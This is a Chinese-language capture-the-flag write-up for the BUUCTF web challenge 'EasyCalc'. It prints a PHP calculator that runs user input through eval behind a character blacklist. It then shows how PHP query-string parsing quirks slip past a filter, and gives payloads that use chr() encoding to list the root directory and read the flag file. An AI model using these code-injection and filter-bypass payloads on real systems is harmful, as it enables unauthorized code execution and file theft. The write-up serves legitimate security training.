BUUCTF-web刷题篇(8)

17.EasyCalcS

检察源码，发现有段代码有php文件，即calc.php

颠末代码审计之后应该要访问calc.php文件，打开后：

2. <?php
3. error_reporting(0);
4. if(!isset($_GET['num'])){
5.     show_source(__FILE__);
6. }else{
7.         $str = $_GET['num'];
8.         $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
9.         foreach ($blacklist as $blackitem) {
10.                 if (preg_match('/' . $blackitem . '/m', $str)) {
11.                         die("what are you want to do?");
12.                 }
13.         }
14.         eval('echo '.$str.';');
15. }
16. ?>

复制代码

可以看出原页面通过js将表达式传给calc.php，同时calc.php对传入的参数举行了一些限定后利用eval函数输出结果。
我们实验了提交非数字的字符报错，我们审计代码后，发现大概是num变量被waf过滤了；
通过查阅资料我们可知这里须要利用php的字符串分析特性。
PHP会将查询字符串（在URL或正文中）转换为内部$_GET等关联数组。

2. /？foo=bar会变成Array([foo]=>"bar")

复制代码

在这个过程中某些字符会被删除或用下划线取代

2. /?%20news[id%00=42会变成Array([news_id] => 42)

复制代码

实验扫描下这个文件下的包罗文件

2. ? num=1;var_dump(scandir(chr(47)))

复制代码

得到以下结果：

2. 1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

复制代码

有一个名叫f1agg的文件，感觉像是flag文件，我们实验打开

2. ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

复制代码

得到flag